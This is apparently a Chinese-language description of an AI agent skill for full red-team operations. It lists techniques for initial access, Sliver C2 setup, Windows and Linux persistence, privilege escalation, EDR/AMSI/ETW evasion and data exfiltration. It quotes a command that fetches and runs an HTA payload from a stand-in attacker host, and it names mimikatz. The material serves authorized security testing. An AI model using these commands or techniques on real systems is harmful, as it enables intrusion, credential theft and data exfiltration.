用途：该技能在需要端到端执行完整红队演练时启用，包括模拟 APT 行动、测试检测与响应能力、建立持久访问与 C2、规避 EDR/AV/SIEM 检测、在受控主机上提权以及规划数据外泄。
主要能力：初始访问方面涵盖 Office 宏、HTA、ISO/IMG 挂载绕过 MOTW、OneNote 嵌入脚本、DLL 侧加载，以及密码保护 ZIP、HTML 走私、二维码、合法文件共享等投递方式。C2 部分提供 Sliver 服务器命令示例（如 sliver-server、generate --mtls、mtls --lhost、https --lhost），并涉及域前置、重定向器、Malleable C2 配置及 DoH、命名管道、SMB 信标、WebSocket 等通信模式。持久化覆盖 Windows 注册表 Run 键、计划任务、WMI 事件订阅、DLL 搜索顺序劫持、COM 劫持、黄金票据、DSRM、Skeleton Key，以及 Linux 的 SSH authorized_keys、cron、systemd、LD_PRELOAD、PAM 后门与内核模块。提权部分列出 Windows 令牌模拟（PrintSpoofer 等）、未加引号服务路径、弱服务权限、AlwaysInstallElevated、mimikatz 凭据收集，以及 Linux SUID、sudo 配置错误、capabilities、内核漏洞、可写 /etc/passwd 与 Docker 逃逸。防御规避包括 ntdll 脱钩、直接/间接系统调用、ETW 补丁、AMSI 绕过、进程注入与 LOLBins。还包含 DNS/HTTPS/隐写等外泄方式与 OPSEC 注意事项。
使用方式：技能以文档形式提供命令与思路，需在授权环境中按阶段执行；示例命令保持原样，如 mshta http://attacker.com/payload.hta、reg add、schtasks、mimikatz 等。
适用场景与限制：适用于授权红队演练与防御验证。资料未提供收费、价格、平台支持范围或效果保证；所有操作应仅在合法授权范围内使用。